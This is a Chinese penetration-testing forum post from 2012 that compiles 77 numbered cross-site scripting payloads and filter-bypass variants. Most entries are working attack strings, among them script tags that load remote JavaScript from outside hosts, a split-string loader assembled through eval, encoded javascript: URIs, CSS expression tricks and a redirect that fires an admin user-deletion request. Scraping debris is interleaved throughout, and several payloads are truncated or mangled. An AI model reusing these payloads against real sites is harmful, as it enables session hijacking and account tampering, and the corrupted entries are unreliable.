中国网络渗透测试联盟

标题: xss跨站脚本攻击汇总 [打印本页]

作者: admin    时间: 2012-9-5 14:56
标题: xss跨站脚本攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
8 d; t/ c* [$ T$ C/ w% |" V
$ t% m; @0 F% o4 E5 _7 m* y (1)普通的XSS JavaScript注入
5 o& ^. A, ~8 k9 E# v <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ i/ x9 m* Z4 y6 O: e1 q5 w) m: y( g! f; G8 l6 s
(2)IMG标签XSS使用JavaScript命令
- H; r9 O1 B- @' m2 z7 P9 R$ g <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>) ~" G$ V; g% N9 i) Y! {4 n
' x) w" n% q/ |2 R  p. ?
(3)IMG标签无分号无引号
. G( p+ v/ r9 d+ C& ` <IMG SRC=javascript:alert(‘XSS’)>6 b9 u3 u0 B) t* y
- P; K$ L+ y: I5 Q/ i3 x
(4)IMG标签大小写不敏感
( ?: B* m# k/ e) f/ U' u6 R% v <IMG SRC=JaVaScRiPt:alert(‘XSS’)>- U) p, z3 X/ ]& d1 Q4 x% T- q
) f9 ^0 y4 p! h4 [2 S
(5)HTML编码(必须有分号)
. N8 w# P$ {: G# J <IMG SRC=javascript:alert(“XSS”)>
' _, Q4 X$ o" L6 f
3 D( W" b1 M' B0 U/ \3 M  s. O (6)修正缺陷IMG标签* w1 \8 V# A1 P+ e$ A5 u9 M- ]) w
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
+ v- B6 T1 G$ L$ ~' k
* X! f$ ^7 O: j8 l5 n! R; w2 j, d (7)formCharCode标签(计算器)* k7 t4 L. }5 G! z/ k; P( o
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>) `8 Y* B6 _6 {& @1 @( r

$ |4 I7 _/ V$ h: |) s  Q: } (8)UTF-8的Unicode编码(计算器)
3 `- E' Z) x2 V! o2 f# Y <IMG SRC=jav..省略..S')>1 s" p. u3 L: ]/ i$ v, \0 \
0 W0 Y* @2 Y2 q! K* Z& A6 @+ V' ]
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)/ A6 x/ W4 J4 b1 O
<IMG SRC=jav..省略..S')>
& z3 ?7 c+ I* l6 o7 p+ \: K5 q8 h
) C7 G  Z6 X2 @ (10)十六进制编码也是没有分号(计算器); z( g, T; w( S7 Y2 ^6 G; E. C
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>8 M+ Q7 ^* \8 {, I9 s

" o6 O- s; v: v9 S# E& y (11)嵌入式标签,将Javascript分开
; j# a, h" h( f+ F, I <IMG SRC=”jav ascript:alert(‘XSS’);”># [$ j& W# F+ x' `- Q0 I
9 d, |8 F4 V) R) g, P& U+ Y
(12)嵌入式编码标签,将Javascript分开
( K  c4 Q% S# H0 \! V" R. z+ s <IMG SRC=”jav ascript:alert(‘XSS’);”>* d; C" U* N( A0 S* X2 b
7 s& N9 B5 _" Q- p; p2 S5 X
(13)嵌入式换行符
0 i" e* O  I, \" D <IMG SRC=”jav ascript:alert(‘XSS’);”>
9 M& o3 [0 ?! z; R
2 e$ P4 P" O# q+ ?. U; p; @6 M4 d2 f (14)嵌入式回车
4 Y6 l* O2 O3 P3 S% u% h <IMG SRC=”jav ascript:alert(‘XSS’);”>  X3 A3 m3 J5 s6 g* g, g3 u
5 y, _! g/ f- b" d: G# F) e; q0 Y
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
/ s8 V! ]7 u4 u <IMG SRC=”javascript:alert(‘XSS‘)”>
# T4 l. ?: D! E2 f- _% [
8 m! ]0 {5 F5 K& } (16)解决限制字符(要求同页面)
' ]+ I3 c2 f' r" I1 y <script>z=’document.’</script>0 ?; w! T8 m! l* U' y: R
<script>z=z+’write(“‘</script>
: b- R' j$ ?5 ^4 m& s+ S% W8 ~ <script>z=z+’<script’</script>
  D- [, m4 \5 S <script>z=z+’ src=ht’</script># Q' ^" N# P* `5 H& V5 s9 h
<script>z=z+’tp://ww’</script>$ \( w- \8 k7 h& V
<script>z=z+’w.shell’</script>3 q. [' I, C' Y" P
<script>z=z+’.net/1.’</script>
' i5 ~8 e# E' S& y0 T  D5 U; G. v4 U <script>z=z+’js></sc’</script>2 [% t1 F" R  \: v5 G$ F
<script>z=z+’ript>”)’</script>
4 {2 ]: S" b. k6 J" _# q" Z6 ] <script>eval_r(z)</script>& U) X$ X/ y# t* ~

+ }5 f! I, H( n1 s% J (17)空字符  O3 n) u: F" H
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out  n/ K) Q- f5 c, [5 s' ?- }$ X
4 S3 x4 I; [7 r$ X2 ^, d! x
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
: _% s7 B% y- a perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out. t8 B- X. d3 X

- U& d+ b- t2 z/ M- S (19)Spaces和meta前的IMG标签
3 {  h# Y  V  v, N <IMG SRC=”   javascript:alert(‘XSS’);”>
1 }% f; c, G% l  p1 Z! y1 a! L: E' s; [% L
(20)Non-alpha-non-digit XSS
! m8 Q0 I" Q+ f <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>' P& l$ Y9 _% \. r: Y% X

4 c( ]- n. b6 `9 \* @. O' y! o% M (21)Non-alpha-non-digit XSS to 2
3 x4 y- R  X  X/ g8 ]6 p <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
, U( W, R# M4 b' z# ^* ~! W! I( `% C2 f4 n
(22)Non-alpha-non-digit XSS to 3
/ y: @- U# @# ]. }+ G+ d0 h. @2 w+ e; W <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>$ s+ c# z; s  g0 B
1 Z' R0 M+ }1 A0 J  D' ^& V# B
(23)双开括号( v. n) `; p* N. ?# \, {
<<SCRIPT>alert(“XSS”);//<</SCRIPT>* H" f! L: Q& X3 J/ F0 R% M- k
: y0 w# D. D  G& D& f
(24)无结束脚本标记(仅火狐等浏览器)
) s& |8 s/ ^" Q! r" a+ [ <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>- }; ^( n/ d/ m; t9 ]2 p# n, D

" j" ?) ~# i! \7 L (25)无结束脚本标记2
1 e' i: [8 N% V9 O( i <SCRIPT SRC=//3w.org/XSS/xss.js>2 i: T; r4 C# Q; v

. J* j" `* t$ Y$ q% r (26)半开的HTML/JavaScript XSS
; G7 K# o$ r( z, D! s6 P <IMG SRC=”javascript:alert(‘XSS’)”$ v$ P1 `) K9 I' X  ]1 F9 u

- o  P  w4 K' j/ N7 {3 a) A/ z& j' J' Y (27)双开角括号
5 j* z0 P' s2 o8 p0 Q5 A; U <iframe src=http://3w.org/XSS.html <# J4 \1 L: q& {7 Q& d
+ q0 ]8 @$ x+ U* u# T. O: o; R8 @
(28)无单引号 双引号 分号: Q; D( k0 D9 [0 S1 i: `
<SCRIPT>a=/XSS/' W- R5 `% p) M/ k& K) J" u
alert(a.source)</SCRIPT>* \/ t0 [" h% B, F: j, f
! s; }6 b6 z8 m) k# W% L! W
(29)换码过滤的JavaScript, r" U3 c; b5 K7 K. S
\”;alert(‘XSS’);//& z/ U7 P2 |6 ^% c4 x5 \& M

& {8 @1 x4 u/ d( D (30)结束Title标签, p& x1 s' Z! f, v& l) d0 [
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
* w* i; j+ [( x$ I
' X) [9 j' v$ Q$ Q. d- n (31)Input Image
6 s1 R6 I9 w) k3 R) P$ k: o* K <INPUT SRC=”javascript:alert(‘XSS’);”>
. e. w/ W0 Y- d0 c5 f* B, a
8 D* X0 t5 F$ G" s8 B (32)BODY Image
" L! h+ h8 |3 B3 Z <BODY BACKGROUND=”javascript:alert(‘XSS’)”>7 y. P: ^  N/ L2 |6 J' i
7 P) s9 @2 F9 }% N% B( s: q  ]
(33)BODY标签
; G' D0 Z9 ?! g; ~4 l8 A5 o <BODY(‘XSS’)>
9 L5 V+ S  a; P, B
" \8 E3 j" q' R5 m9 X% V (34)IMG Dynsrc
  `4 K0 r. u" h <IMG DYNSRC=”javascript:alert(‘XSS’)”>
! f. G# ^. y9 e: e" ?: h  s. e9 l, A, o4 |) H. s6 i
(35)IMG Lowsrc. J* |. x5 v" n
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
' a( @; I. h, u- |: u8 b9 |$ T. ?" m- u' g4 m5 z, [$ w8 |
(36)BGSOUND. P2 l- Y1 O% c9 a4 p6 a
<BGSOUND SRC=”javascript:alert(‘XSS’);”>: ^% r; u. v; p: X5 o( M; h
0 ]. ~: E6 [( ?6 h) I$ }
(37)STYLE sheet
1 E- g$ \: G4 W- ^4 w% U <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
3 {6 E& Y$ v/ l" v( P  C
$ j2 d) d# B% m+ d9 Z, R; r (38)远程样式表7 O$ o' t9 l6 c. F4 e2 B1 W/ H3 ?! J" h
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>. x4 b: G2 |$ b  C; F- S2 H% A+ Z& }

( U* y( ?$ G7 X% l" M (39)List-style-image(列表式), @) }8 T" a) }& Z
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
. C# a* O, X: u$ `$ \6 o+ V
) `$ Q6 M$ p4 k6 [  U (40)IMG VBscript
. \" B1 Z- K; r  u- b <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS$ _. w4 N+ `3 k  S1 P' a

4 @4 O  S! Q, T( r" n% ^/ L (41)META链接url
3 U; r) D2 k2 q( T- A <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
" J4 Y* R/ x& W" G9 F- G7 r+ y6 ^
; \* C$ w* `$ v0 o' q0 L. _8 g8 Y (42)Iframe8 c8 f3 T3 k6 f
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 c2 Y1 l  X% n) `# o* Z% C6 N. \
* e5 L/ l6 B2 h/ f1 |
(43)Frame3 e" _9 \6 S" g4 s4 e
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>+ {- }, F+ P; c: J4 Z
, \- q" [1 Q( U6 K5 O* A+ s
(44)Table
0 @- F2 c4 D, ]( W <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>. S5 f2 E3 ?6 k

' t  Q# ]6 t9 J) A  L (45)TD
2 n3 D* \2 z, g1 b <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
! U+ c0 D1 Y, M& u% J# p# r& O. J6 i  K+ o5 Y; h; ]
(46)DIV background-image
* D/ C+ O0 D8 q* c; U' o <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* }1 s& \) Z+ N6 C& d2 m

. c4 r& D3 K- U9 o& O5 t) i! B* d (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)( G$ i8 S8 @4 h, c5 A
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ k0 Z: T) b* a% z: G

. b) s4 V6 Z3 _0 Y8 b: y, Z (48)DIV expression
$ X$ Z0 P* B* c <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
! C8 [% Z6 t6 M5 L/ S/ {, }, p* V" q/ m* G- V
(49)STYLE属性分拆表达- o" [( ]) S: Q: U% \, `2 r
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
+ @" O& B7 a/ N) F$ C3 d9 O
  i- Z' i9 L1 z; \- W (50)匿名STYLE(组成:开角号和一个字母开头)
! I$ \8 Q7 _8 ], p5 v8 h& O$ A" e9 h <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
) O  d9 G0 ^; P) E. J  t1 g8 m4 ~2 o
(51)STYLE background-image
" b7 `9 X8 Q* Y7 S/ C <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>3 F7 `1 T+ `) G! W' \4 m/ B: w6 x

: \- A8 D" U; Z3 D( J! c (52)IMG STYLE方式
  l8 N  Q' a1 m! T# B6 a' }  X exppression(alert(“XSS”))’>5 U9 C* t4 j, ~+ e
* G9 b/ f6 `$ A" k
(53)STYLE background
7 k( \& g9 ?9 j! g <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
- A; _# `  f$ m" g: e3 f8 K2 N9 g$ {- }: g
(54)BASE
5 L0 v1 B+ A- J; f: d6 F <BASE HREF=”javascript:alert(‘XSS’);//”>% f9 I; Q* `, r5 X+ }/ I6 c

  U. b  ^$ V0 A3 I  ~ (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS% s& V. F, [. j  d
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
" r/ `. l4 y0 z8 K$ [$ N/ {. t0 b- I! A- A# T# F
(56)在flash中使用ActionScrpt可以混进你XSS的代码5 i, X5 Z  e' x; k
a=”get”;) I0 J, U1 N4 r" f' ^
b=”URL(\”";0 B9 x5 N4 E4 E
c=”javascript:”;
( P) l  M' Q* O: g; h, s* f( O d=”alert(‘XSS’);\”)”;' {0 t, m1 h! }6 F. b8 q& i
eval_r(a+b+c+d);
0 W3 x/ h( W. [- v6 M, ]4 I% ^
8 \2 ?2 I7 B) }* n (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上6 ?* Q# }# l0 P5 \1 t* s
<HTML xmlns:xss>
# L. m( A! I& Q7 j7 Y <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
4 G$ W% a% e+ f& L <xss:xss>XSS</xss:xss>
3 l# t( M4 x, h0 n9 x! ` </HTML>
( z. ?6 |% V  r
: I# [9 l" n5 v  }/ `  \ (58)如果过滤了你的JS你可以在图片里添加JS代码来利用% k+ w. D) v$ L) ]
<SCRIPT SRC=””></SCRIPT>2 @, Z% `- i1 E; b- ^) B! L
/ J$ @# y6 `& c$ x/ G# q5 M
(59)IMG嵌入式命令,可执行任意命令
/ ~0 p5 ^% I7 u* @* @ <IMG SRC=”http://www.XXX.com/a.php?a=b”>
8 e2 Y# v) Q( Y  C7 x/ m) m1 s1 W' ^. _
& {1 ?- T6 P) r (60)IMG嵌入式命令(a.jpg在同服务器)
+ r0 f) ^8 Q9 Y- y/ W: p3 I+ I Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser* J) r, D; t3 {  J7 G  ~6 y

3 u/ K& K" v' U6 K- _6 U (61)绕符号过滤
, X0 q! M% k; R. i, I <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
- V/ Y& w1 K$ X2 K8 A
( N: X* Y/ D; I% t4 @ (62)+ S  k4 c/ r0 Z
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ D8 d9 E6 o6 ]  d" s( T  k( \1 N; x5 y! A( X" p- I# {& O# R
(63)
, B% x" O6 Q) F  [$ Z0 S <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>4 ?; Z: W- N8 ?
8 S8 F+ {. ?' G8 w% G: d
(64)) L9 p: Y* T! p/ c
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>, }9 R' B) i; h

% J& A- M  z6 N+ u! G (65)
6 ~5 X0 D9 i9 \& ^3 X5 J2 n% ` <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
* I( d$ M& X2 ]- }
7 o; f6 @+ ]0 E- Z. W8 x6 j (66)
$ n% D4 S$ F% x  B1 X2 |$ f <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>8 M/ \# d) j/ c+ ~4 L

4 t: ?+ g3 ~3 L7 _: o (67): f$ X" Y5 Y9 q" e" ^
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>* ^4 j" j# o0 ~$ X) W! }

9 ^# H8 f9 W' k7 E (68)URL绕行
9 e. S- A! S% t. e/ C, A4 y <A HREF=”http://127.0.0.1/”>XSS</A>
4 T) V1 X" P% o0 s. y7 w) B! B7 j# F$ G* q
(69)URL编码+ {9 h% l/ g) q6 h; x. r% f' g
<A HREF=”http://3w.org”>XSS</A>
# U+ l+ f( B( E% V; G8 q  h0 K4 b& V& N+ O7 r/ t% E
(70)IP十进制' L$ Q5 o) j/ C4 Y
<A HREF=”http://3232235521″>XSS</A>$ W7 \+ B: A$ F7 W+ A0 m
6 D" K! p  A. w5 g5 C0 I6 Z( N
(71)IP十六进制
5 d6 r3 o$ n. d0 X <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
) f6 S4 D" \. b
; Y6 N/ l& v9 X9 ~/ F/ ^8 V (72)IP八进制
3 w& P1 n. I& ]5 H( ?2 t <A HREF=”http://0300.0250.0000.0001″>XSS</A>
3 F: u1 D; w. f9 c% z6 y" T9 n7 ~& ~$ P
(73)混合编码
) @7 c3 _$ d/ H. r <A HREF=”h
; P% F  D( f3 w$ F& M0 c- S tt p://6 6.000146.0×7.147/”">XSS</A>
# g) R" G. t4 J; Z" C. _( n$ g1 c4 M8 [2 [6 c- u/ r8 y
(74)节省[http:]% n$ P  g+ D; Y" Y( ?, e
<A HREF=”//www.google.com/”>XSS</A>: t4 S" C7 Q) ], g- `: z

& ^+ C% {0 f% K, y4 b (75)节省[www]0 ?' i7 a9 J( L
<A HREF=”http://google.com/”>XSS</A>( p5 L* l: F, c  w# k
2 |; @4 l) @+ S0 \9 ]
(76)绝对点绝对DNS
4 V7 Y) _+ ?+ c4 _, s. o- P% p <A HREF=”http://www.google.com./”>XSS</A>
: s4 R- |  |9 N4 b
+ T  `. q4 G& a8 T/ ]0 V (77)javascript链接
9 h# z9 \/ p- }3 ^. S8 \: ? <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2